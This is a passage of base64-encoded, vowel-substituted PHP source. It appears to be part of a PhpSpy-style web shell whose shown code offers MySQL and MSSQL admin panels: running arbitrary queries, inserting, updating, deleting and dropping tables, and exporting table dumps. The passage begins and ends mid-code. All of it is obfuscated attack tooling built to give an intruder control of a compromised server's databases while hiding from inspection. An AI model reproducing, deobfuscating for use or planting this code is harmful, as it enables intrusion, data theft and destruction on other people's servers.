dGQ+Jyk7DQoJCQkJCXAoJzx0ZD5FeHRyMTwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCWYycjUxY2ggKCRyMndkYiAxcyAkcjJ3KSB7DQoJCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbDFzcz0iJy4kdGg0c2JnLiciIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJycuJHRoNHNiZy4nXCc7Ij4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ0Y0NWxkJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydUeXA1J10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydOM2xsJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydLNXknXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ0Q1ZjEzbHQnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ0V4dHIxJ10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQl9DQoJCQkJCXRiZjIydCgpOw0KCQkJCX0gNWxzNTRmICgkZDI0bmcgPT0gJzRuczVydCcgfHwgJGQyNG5nID09ICc1ZDR0Jykgew0KCQkJCQkkcjVzM2x0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdDFibDVuMW01KTsNCgkJCQkJd2g0bDUgKCRyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzM2x0KSkgew0KCQkJCQkJJHIyd2RiW10gPSAkcjJ3Ow0KCQkJCQl9DQoJCQkJCSRycyA9IDFycjF5KCk7DQoJCQkJCTRmICgkZDI0bmcgPT0gJzRuczVydCcpIHsNCgkJCQkJCXAoJzxoYT5JbnM1cnQgbjV3IGw0bjUgNG4gJy4kdDFibDVuMW01LicgdDFibDUgJnIxcTMyOzwvaGE+Jyk7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQlwKCc8aGE+VXBkMXQ1IHI1YzJyZCA0biAnLiR0MWJsNW4xbTUuJyB0MWJsNSAmcjFxMzI7PC9oYT4nKTsNCgkJCQkJCSR3aDVyNSA9IGIxczVldV9kNWMyZDUoJGIxczVldSk7DQoJCQkJCQkkcjVzM2x0ID0gcSgiU0VMRUNUICogRlJPTSAkdDFibDVuMW01IFdIRVJFICR3aDVyNSBMSU1JVCA2Iik7DQoJCQkJCQkkcnMgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzM2x0KTsNCgkJCQkJfQ0KCQkJCQlwKCc8ZjJybSBtNXRoMmQ9InAyc3QiIDFjdDQybj0iJy4kczVsZi4nIj4nKTsNCgkJCQkJcCgkZGJmMnJtKTsNCgkJCQkJbTFrNWg0ZDUoJzFjdDQybicsJ215c3FsMWRtNG4nKTsNCgkJCQkJbTFrNWg0ZDUoJ3QxYmw1bjFtNScsJHQxYmw1bjFtNSk7DQoJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCWYycjUxY2ggKCRyMndkYiAxcyAkcjJ3KSB7DQoJCQkJCQk0ZiAoJHJzWyRyMndbJ0Y0NWxkJ11dKSB7DQoJCQkJCQkJJHYxbDM1ID0gaHRtbHNwNWM0MWxjaDFycygkcnNbJHIyd1snRjQ1bGQnXV0pOw0KCQkJCQkJfSA1bHM1IHsNCgkJCQkJCQkkdjFsMzUgPSAnJzsNCgkJCQkJCX0NCgkJCQkJCSR0aDRzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsMXNzPSInLiR0aDRzYmcuJyIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kdGg0c2JnLidcJzsiPicpOw0KCQkJCQkJNGYgKCRyMndbJ0s1eSddID09ICdVTkknIHx8ICRyMndbJ0V4dHIxJ10gPT0gJzEzdDJfNG5jcjVtNW50JyB8fCAkcjJ3WydLNXknXSA9PSAnUFJJJykgew0KCQkJCQkJCXAoJzx0ZD48Yj4nLiRyMndbJ0Y0NWxkJ10uJzwvYj48YnIgLz4nLiRyMndbJ1R5cDUnXS4nPC90ZD48dGQ+Jy4kdjFsMzUuJyZuYnNwOzwvdGQ+PC90cj4nKTsNCgkJCQkJCX0gNWxzNSB7CQkJCQkJCQ0KCQkJCQkJCXAoJzx0ZD48Yj4nLiRyMndbJ0Y0NWxkJ10uJzwvYj48YnIgLz4nLiRyMndbJ1R5cDUnXS4nPC90ZD48dGQ+PHQ1eHQxcjUxIGNsMXNzPSIxcjUxIiBuMW01PSI0bnM1cnRzcWxbJy4kcjJ3WydGNDVsZCddLiddIiBzdHlsNT0idzRkdGg6aTAwcHg7aDU0Z2h0OmUwcHg7MnY1cmZsMnc6MTN0MjsiPicuJHYxbDM1Lic8L3Q1eHQxcjUxPjwvdGQ+PC90cj4nKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQk0ZiAoJGQyNG5nID09ICc0bnM1cnQnKSB7DQoJCQkJCQlwKCc8dHIgY2wxc3M9IicuYmcoKS4nIj48dGQgYzJsc3Axbj0iYSI+PDRucDN0IGNsMXNzPSJidCIgdHlwNT0iczNibTR0IiBuMW01PSI0bnM1cnQiIHYxbDM1PSJJbnM1cnQiIC8+PC90ZD48L3RyPicpOw0KCQkJCQl9IDVsczUgew0KCQkJCQkJcCgnPHRyIGNsMXNzPSInLmJnKCkuJyI+PHRkIGMybHNwMW49ImEiPjw0bnAzdCBjbDFzcz0iYnQiIHR5cDU9InMzYm00dCIgbjFtNT0iM3BkMXQ1IiB2MWwzNT0iVXBkMXQ1IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJCW0xazVoNGQ1KCdiMXM1ZXUnLCAkYjFzNWV1KTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3QxYmw1PjwvZjJybT4nKTsNCgkJCQl9IDVsczUgew0KCQkJCQkkcTM1cnlzID0gQDV4cGwyZDUoJzsnLCRzcWxfcTM1cnkpOw0KCQkJCQlmMnI1MWNoKCRxMzVyeXMgMXMgJG4zbT0+JHEzNXJ5KSB7DQoJCQkJCQk0ZiAoJHEzNXJ5KSB7DQoJCQkJCQkJcCgiPHA+PGI+UTM1cnkjeyRuM219IDogIi5odG1sc3A1YzQxbGNoMXJzKCRxMzVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQlzdzR0Y2gocXkoJHEzNXJ5KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWMxczUgMDoNCgkJCQkJCQkJCXAoJzxoYT5FcnIyciA6ICcubXlzcWxfNXJyMnIoKS4nPC9oYT4nKTsNCgkJCQkJCQkJCWJyNTFrOwkNCgkJCQkJCQkJYzFzNSA2Og0KCQkJCQkJCQkJNGYgKHN0cnQybDJ3NXIoczNic3RyKCRxMzVyeSwwLDZvKSkgPT0gJ3M1bDVjdCAqIGZyMm0nKSB7DQoJCQkJCQkJCQkJJDFsbDJ3NWQ0dCA9IDY7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQk0ZiAoJGc1dG4zbXNxbCkgew0KCQkJCQkJCQkJCSR0MXQybCA9IG15c3FsX24zbV9yMndzKHEoJGc1dG4zbXNxbCkpOw0KCQkJCQkJCQkJCSRtM2x0NHAxZzUgPSBtM2x0NCgkdDF0MmwsICRwMWc1bjNtLCAkcDFnNSwgJHQxYmw1bjFtNSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQk0ZiAoISR0MWJsNW4xbTUpIHsNCgkJCQkJCQkJCQkkc3FsX2w0bjUgPSBzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iLCAiXHQiKSwgMXJyMXkoJyAnLCAnICcsICcgJyksIHRyNG0oaHRtbHNwNWM0MWxjaDFycygkcTM1cnkpKSk7DQoJCQkJCQkJCQkJJHNxbF9sNG41ID0gcHI1Z19yNXBsMWM1KCIvXC9cKlteKFwqXC8pXSpcKlwvLzQiLCAiICIsICRzcWxfbDRuNSk7DQoJCQkJCQkJCQkJcHI1Z19tMXRjaF8xbGwoIi9mcjJtXHMrYHswLDZ9KFtcd10rKWB7MCw2fVxzKy80Iiwkc3FsX2w0bjUsJG0xdGNoNXMpOw0KCQkJCQkJCQkJCSR0MWJsNW4xbTUgPSAkbTF0Y2g1c1s2XVswXTsNCgkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJLyoqKioqKioqKioqKioqKioqKioqKi8NCgkJCQkJCQkJCSRnNXRmNDVsZCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0MWJsNW4xbTUiKTsNCgkJCQkJCQkJCSRyMndkYiA9IDFycjF5KCk7DQoJCQkJCQkJCQkkazV5ZjQ1ZCA9ICcnOyAvLyYjYTAwYTc7JiNvODY5MDsmI2FvbzhvOyYjYTdpN287DQoJCQkJCQkJCQl3aDRsNSgkcjJ3ID0gQG15c3FsX2Y1dGNoXzFzczJjKCRnNXRmNDVsZCkpIHsNCgkJCQkJCQkJCQkkcjJ3ZGJbJHIyd1snRjQ1bGQnXV1bJ0s1eSddID0gJHIyd1snSzV5J107DQoJCQkJCQkJCQkJJHIyd2RiWyRyMndbJ0Y0NWxkJ11dWydFeHRyMSddID0gJHIyd1snRXh0cjEnXTsNCgkJCQkJCQkJCQk0ZiAoJHIyd1snSzV5J10gPT0gJ1VOSScgfHwgJHIyd1snSzV5J10gPT0gJ1BSSScpIHsNCgkJCQkJCQkJCQkJJGs1eWY0NWQgPSAkcjJ3WydGNDVsZCddOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJCS8qKioqKioqKioqKioqKioqKioqKiovCQkJCQkJCQkNCgkJCQkJCQkJCS8vJiNvMHVpYTsmI2FpaTA5OyYjYTc5OG87JiNvaWE3YTsmI291OWEwOyYjYWlvaW87JiNhOTBvNjsmI2EwMGE3OyYjbzg2OTA7JiNvOHU3NzsmI2F1YTA3OyYjYWl1OTA7JiNhNjA2aTsNCgkJCQkJCQkJCTRmIChzdHJ0MmwydzVyKHMzYnN0cigkcTM1cnksMCw2bykpID09ICdzNWw1Y3QgKiBmcjJtJykgew0KCQkJCQkJCQkJCSRxMzVyeSA9IHN0cl9yNXBsMWM1KCIgTElNSVQgIiwgIiAycmQ1ciBieSAkazV5ZjQ1ZCBERVNDIExJTUlUICIsICRxMzVyeSk7DQoJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCSRyNXMzbHQgPSBxKCRxMzVyeSk7DQoNCgkJCQkJCQkJCXAoJG0zbHQ0cDFnNSk7DQoJCQkJCQkJCQlwKCc8dDFibDUgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0ibyIgYzVsbHNwMWM0bmc9IjAiPicpOw0KCQkJCQkJCQkJcCgnPHRyIGNsMXNzPSJoNTFkIj4nKTsNCgkJCQkJCQkJCTRmICgkMWxsMnc1ZDR0KSBwKCc8dGQ+QWN0NDJuPC90ZD4nKTsNCgkJCQkJCQkJCSRmNDVsZG4zbSA9IEBteXNxbF9uM21fZjQ1bGRzKCRyNXMzbHQpOw0KCQkJCQkJCQkJZjJyKCQ0PTA7JDQ8JGY0NWxkbjNtOyQ0Kyspew0KCQkJCQkJCQkJCSRuMW01ID0gQG15c3FsX2Y0NWxkX24xbTUoJHI1czNsdCwgJDQpOw0KCQkJCQkJCQkJCSR0eXA1ID0gQG15c3FsX2Y0NWxkX3R5cDUoJHI1czNsdCwgJDQpOw0KCQkJCQkJCQkJCSRsNW4gPSBAbXlzcWxfZjQ1bGRfbDVuKCRyNXMzbHQsICQ0KTsNCgkJCQkJCQkJCQlwKCI8dGQgbjJ3cjFwPiRuMW01PGJyPjxzcDFuPiR0eXA1KCRsNW4pIi4oKCRyMndkYlskbjFtNV1bJ0s1eSddID09ICdVTkknIHx8ICRyMndkYlskbjFtNV1bJ0s1eSddID09ICdQUkknKSA/ICc8Yj4gLSBQUklNQVJZPC9iPicgOiAnJykuKCRyMndkYlskbjFtNV1bJ0V4dHIxJ10gPT0gJzEzdDJfNG5jcjVtNW50JyA/ICc8Yj4gLSBBM3QyPC9iPicgOiAnJykuIjwvc3Axbj48L3RkPiIpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCQ0KCQkJCQkJCQkJd2g0bDUoJG1uID0gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMzbHQpKXsNCgkJCQkJCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2wxc3M9IicuJHRoNHNiZy4nIiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcnLiR0aDRzYmcuJ1wnOyI+Jyk7DQoJCQkJCQkJCQkJJHdoNXI1ID0gJHRtcCA9ICRiNiA9ICcnOw0KCQkJCQkJCQkJCS8vJiNvZTg3bzsmI2E2dWVhOyYjYWV1ZWk7JiNhMGE2dTsmI2FvbzhvOyYjYTdpN287JiNhOTk5YTsNCgkJCQkJCQkJCQlmMnI1MWNoKCRtbiAxcyAkazV5PT4kNG5zNGQ1KXsNCgkJCQkJCQkJCQkJNGYgKCQ0bnM0ZDUpIHsNCgkJCQkJCQkJCQkJCS8vJiNhZWk5NzsmI2FpYTZ1OyYjYTAwYTc7JiNvODY5MDsmIzZhYTg5OyYjYTY4MDc7JiM2OTllODsmI2FvZXVlOyYjYXVlNmk7JiM2YWE4OTsmI29vYWk4OyYjYTY2ZTA7JiNhYWU4ZTsmI2E2NmlhOyYjbzBvdTA7JiNhb284bzsmI2E3aTdvOyYjZWlhOWE7JiNhaWE2dTsmI2E2MHUwOyYjYW9lMDY7JiNhMGk3YTsmI2E3dTkwOyYjZWlhOWE7JiNhNml1YTsmI2E2MDY3OyYjb2F1aWE7JiNhNmk2YTsmI2FpNmlhOyYjYWVvNzc7JiNhb284bzsmI2E3aTdvOyYjYTBvNmU7JiNhMDBhZTsmI2FldWVpOyYjYTBhNnU7JiM2YWE5MDsNCgkJCQkJCQkJCQkJCTRmICgkcjJ3ZGJbJGs1eV1bJ0s1eSddID09ICdVTkknIHx8ICRyMndkYlskazV5XVsnRXh0cjEnXSA9PSAnMTN0Ml80bmNyNW01bnQnIHx8ICRyMndkYlskazV5XVsnSzV5J10gPT0gJ1BSSScpIHsNCgkJCQkJCQkJCQkJCQkkd2g1cjUgPSAkazV5LiI9JyIuMWRkc2wxc2g1cygkNG5zNGQ1KS4iJyI7DQoJCQkJCQkJCQkJCQkJYnI1MWs7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCQkkd2g1cjUgLj0gJHRtcC4kazV5LiI9JyIuMWRkc2wxc2g1cygkNG5zNGQ1KS4iJyI7DQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkvLyYjb2k4b2k7JiNhNnVlYTsmI29pN2UwOyYjYXV1MGk7JiNhOTk5YTsNCgkJCQkJCQkJCQlmMnI1MWNoKCRtbiAxcyAkazV5PT4kNG5zNGQ1KXsNCgkJCQkJCQkJCQkJJGI2IC49ICc8dGQgbjJ3cjFwPicuaHRtbF9jbDUxbigkNG5zNGQ1KS4nJm5ic3A7PC90ZD4nOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkkd2g1cjUgPSBiMXM1ZXVfNW5jMmQ1KCR3aDVyNSk7DQoNCgkJCQkJCQkJCQk0ZiAoJDFsbDJ3NWQ0dCkgcCgnPHRkIG4yd3IxcD48MSBocjVmPSJqMXYxc2NyNHB0OjVkNHRyNWMycmQoXCc1ZDR0XCcsIFwnJy4kd2g1cjUuJ1wnLCBcJycuJHQxYmw1bjFtNS4nXCcpOyI+RWQ0dDwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OjVkNHRyNWMycmQoXCdkNWxcJywgXCcnLiR3aDVyNS4nXCcsIFwnJy4kdDFibDVuMW01LidcJyk7Ij5ENWw8LzE+PC90ZD4nKTsNCg0KCQkJCQkJCQkJCXAoJGI2KTsNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCTNuczV0KCRiNik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQl0YmYyMnQoKTsNCgkJCQkJCQkJCXAoJG0zbHQ0cDFnNSk7DQoJCQkJCQkJCQlicjUxazsNCgkJCQkJCQkJYzFzNSBhOg0KCQkJCQkJCQkJJDFyID0gbXlzcWxfMWZmNWN0NWRfcjJ3cygpOw0KCQkJCQkJCQkJcCgnPGhhPjFmZjVjdDVkIHIyd3MgOiA8Yj4nLiQxci4nPC9iPjwvaGE+Jyk7DQoJCQkJCQkJCQlicjUxazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IDVsczUgew0KCQkJCSRxMzVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHQxYmw1X24zbSA9ICR0MWJsNV9yMndzID0gJGQxdDFfczR6NSA9IDA7DQoJCQkJJHQxYmw1ZGIgPSAxcnIxeSgpOw0KCQkJCXdoNGw1KCR0MWJsNSA9IG15c3FsX2Y1dGNoXzFycjF5KCRxMzVyeSkpIHsNCgkJCQkJJGQxdDFfczR6NSA9ICRkMXQxX3M0ejUgKyAkdDFibDVbJ0QxdDFfbDVuZ3RoJ107DQoJCQkJCSR0MWJsNV9yMndzID0gJHQxYmw1X3Iyd3MgKyAkdDFibDVbJ1Iyd3MnXTsNCgkJCQkJJHQxYmw1WydEMXQxX2w1bmd0aCddID0gczR6NWMyM250KCR0MWJsNVsnRDF0MV9sNW5ndGgnXSk7DQoJCQkJCSR0MWJsNV9uM20rKzsNCgkJCQkJJHQxYmw1ZGJbXSA9ICR0MWJsNTsNCgkJCQl9DQoJCQkJJGQxdDFfczR6NSA9IHM0ejVjMjNudCgkZDF0MV9zNHo1KTsNCgkJCQkzbnM1dCgkdDFibDUpOw0KCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCI+Jyk7DQoJCQkJbTFrNWg0ZDUoJzFjdDQybicsJ215c3FsMWRtNG4nKTsNCgkJCQlwKCRkYmYycm0pOw0KCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJcCgnPHRkIHc0ZHRoPSJhJSIgMWw0Z249ImM1bnQ1ciI+PDRucDN0IG4xbTU9ImNoazFsbCIgdjFsMzU9IjJuIiB0eXA1PSJjaDVja2IyeCIgMm5jbDRjaz0iQ2g1Y2tBbGwodGg0cy5mMnJtKSIgLz48L3RkPicpOw0KCQkJCXAoJzx0ZD5OMW01PC90ZD4nKTsNCgkJCQlwKCc8dGQ+UjJ3czwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkQxdDFfbDVuZ3RoPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Q3I1MXQ1X3Q0bTU8L3RkPicpOw0KCQkJCXAoJzx0ZD5VcGQxdDVfdDRtNTwvdGQ+Jyk7DQoJCQkJNGYgKCRoNGdodjVyKSB7DQoJCQkJCXAoJzx0ZD5Fbmc0bjU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+QzJsbDF0NDJuPC90ZD4nKTsNCgkJCQl9DQoJCQkJcCgnPHRkPk9wNXIxdDU8L3RkPicpOw0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJZjJyNTFjaCAoJHQxYmw1ZGIgMXMgJGs1eSA9PiAkdDFibDUpIHsNCgkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iJy4kdGg0c2JnLiciIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJycuJHRoNHNiZy4nXCc7Ij4nKTsNCgkJCQkJcCgnPHRkIDFsNGduPSJjNW50NXIiIHc0ZHRoPSJhJSI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJ0MWJsNVtdIiB2MWwzNT0iJy4kdDFibDVbJ04xbTUnXS4nIiAvPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD48MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcpOyI+Jy4kdDFibDVbJ04xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnUjJ3cyddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ0QxdDFfbDVuZ3RoJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnQ3I1MXQ1X3Q0bTUnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHQxYmw1WydVcGQxdDVfdDRtNSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQk0ZiAoJGg0Z2h2NXIpIHsNCgkJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnRW5nNG41J10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ0MybGwxdDQybiddLic8L3RkPicpOw0KCQkJCQl9DQoJCQkJCXAoJzx0ZD48MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcsIFwnNG5zNXJ0XCcpOyI+SW5zNXJ0PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNVsnTjFtNSddLidcJywgXCdzdHIzY3QzcjVcJyk7Ij5TdHIzY3QzcjU8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1WydOMW01J10uJ1wnLCBcJ2RyMnBcJyk7Ij5EcjJwPC8xPjwvdGQ+Jyk7DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJfQ0KCQkJCXAoJzx0ciBjbDFzcz0nLmJnKCkuJz4nKTsNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VDJ0MWwgdDFibDVzOiAnLiR0MWJsNV9uM20uJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJHQxYmw1X3Iyd3MuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJGQxdDFfczR6NS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQgYzJsc3Axbj0iJy4oJGg0Z2h2NXIgPyBpIDogbykuJyI+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgiPHRyIGNsMXNzPVwiIi5iZygpLiJcIj48dGQgYzJsc3Axbj1cIiIuKCRoNGdodjVyID8gOSA6IDcpLiJcIj48NG5wM3QgbjFtNT1cInMxdjUxc2Y0bDVcIiB2MWwzNT1cIjZcIiB0eXA1PVwiY2g1Y2tiMnhcIiAvPiBTMXY1IDFzIGY0bDUgPDRucDN0IGNsMXNzPVwiNG5wM3RcIiBuMW01PVwicDF0aFwiIHYxbDM1PVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbFwiIHR5cDU9XCJ0NXh0XCIgczR6NT1cImUwXCIgLz4gPDRucDN0IGNsMXNzPVwiYnRcIiB0eXA1PVwiczNibTR0XCIgbjFtNT1cImQyd25yMXJcIiB2MWwzNT1cIkV4cDJydCBzNWw1Y3Q0Mm4gdDFibDVcIiAvPjwvdGQ+PC90cj4iKTsNCgkJCQltMWs1aDRkNSgnZDI0bmcnLCdiMWNrM3BteXNxbCcpOw0KCQkJCWYycm1mMjJ0KCk7DQoJCQkJcCgiPC90MWJsNT4iKTsNCgkJCQlmcigkcTM1cnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXRiZjIydCgpOw0KCUBteXNxbF9jbDJzNSgpOw0KfS8vNW5kIG15c3FsDQoNCg0KNWxzNTRmICgkMWN0NDJuID09ICdtc3NxbDFkbTRuJykgew0KCSEkZGJoMnN0ICYmICRkYmgyc3QgPSAnbDJjMWxoMnN0JzsNCgkhJGRiM3M1ciAmJiAkZGIzczVyID0gJ3MxJzsNCgkhJGRibjFtNSAmJiAkZGJuMW01ID0gJ20xc3Q1cic7DQoJJGRiZjJybSA9ICc8NG5wM3QgdHlwNT0iaDRkZDVuIiA0ZD0iYzJubjVjdCIgbjFtNT0iYzJubjVjdCIgdjFsMzU9IjYiIC8+JzsNCgk0Zig0c3M1dCgkZGJoMnN0KSl7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYmgyc3RcIiBuMW01PVwiZGJoMnN0XCIgdjFsMzU9XCIkZGJoMnN0XCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYjNzNXIpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYjNzNXJcIiBuMW01PVwiZGIzczVyXCIgdjFsMzU9XCIkZGIzczVyXCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYnAxc3MpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYnAxc3NcIiBuMW01PVwiZGJwMXNzXCIgdjFsMzU9XCIkZGJwMXNzXCIgLz5cbiI7DQoJfQ0KCTRmKDRzczV0KCRkYm4xbTUpKSB7DQoJCSRkYmYycm0gLj0gIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgNGQ9XCJkYm4xbTVcIiBuMW01PVwiZGJuMW01XCIgdjFsMzU9XCIkZGJuMW01XCIgLz5cbiI7DQoJfQ0KCTRmICgkNG5zNXJ0ICYmICQ0bnM1cnRzcWwpIHsNCgkJJGs1eXN0ciA9ICR2MWxzdHIgPSAkdG1wID0gJyc7DQoJCWYycjUxY2goJDRuczVydHNxbCAxcyAkazV5ID0+ICR2MWwpIHsNCgkJCTRmICgkdjFsKSB7DQoJCQkJJGs1eXN0ciAuPSAkdG1wLiRrNXk7DQoJCQkJJHYxbHN0ciAuPSAkdG1wLiInIi4xZGRzbDFzaDVzKCR2MWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCTRmICgkazV5c3RyICYmICR2MWxzdHIpIHsNCgkJCW1zZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUpOw0KCQkJbShtc3EoIklOU0VSVCBJTlRPICR0MWJsNW4xbTUgKCRrNXlzdHIpIFZBTFVFUyAoJHYxbHN0cikiKSA/ICdJbnM1cnQgbjV3IHI1YzJyZCAyZiBzM2NjNXNzJyA6IG1zbXNnKCkpOw0KCQl9DQoJfQ0KCTRmICgkM3BkMXQ1ICYmICQ0bnM1cnRzcWwgJiYgJGIxczVldSkgew0KCQkkdjFsc3RyID0gJHRtcCA9ICcnOw0KCQlmMnI1MWNoKCQ0bnM1cnRzcWwgMXMgJGs1eSA9PiAkdjFsKSB7DQoJCQkkdjFsc3RyIC49ICR0bXAuJGs1eS4iPSciLjFkZHNsMXNoNXMoJHYxbCkuIiciOw0KCQkJJHRtcCA9ICcsJzsNCgkJfQ0KCQk0ZiAoJHYxbHN0cikgew0KCQkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJCW1zZGJjMm5uKCRkYmgyc3QsJGRiM3M1ciwkZGJwMXNzLCRkYm4xbTUpOw0KCQkJbShtc3EoIlVQREFURSAkdDFibDVuMW01IFNFVCAkdjFsc3RyIFdIRVJFICR3aDVyNSIpID8gJ1I1YzJyZCAzcGQxdDRuZycgOiBtc21zZygpKTsNCgkJfQ0KCX0NCgk0ZiAoJGQyNG5nID09ICdkNWwnICYmICRiMXM1ZXUpIHsNCgkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJJGQ1bDV0NV9zcWwgPSAiREVMRVRFIEZST00gJHQxYmw1bjFtNSBXSEVSRSAkd2g1cjUiOw0KCQltc2RiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01KTsNCgkJbShtc3EoIkRFTEVURSBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1IikgPyAnRDVsNXQ0Mm4gcjVjMnJkIDJmIHMzY2M1c3MnIDogbXNtc2coKSk7DQoJfQ0KDQoJNGYgKCR0MWJsNW4xbTUgJiYgJGQyNG5nID09ICdkcjJwJykgew0KCQltc2RiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01KTsNCgkJNGYgKG1zcSgiRFJPUCBUQUJMRSAkdDFibDVuMW01IikpIHsNCgkJCW0oJ0RyMnAgdDFi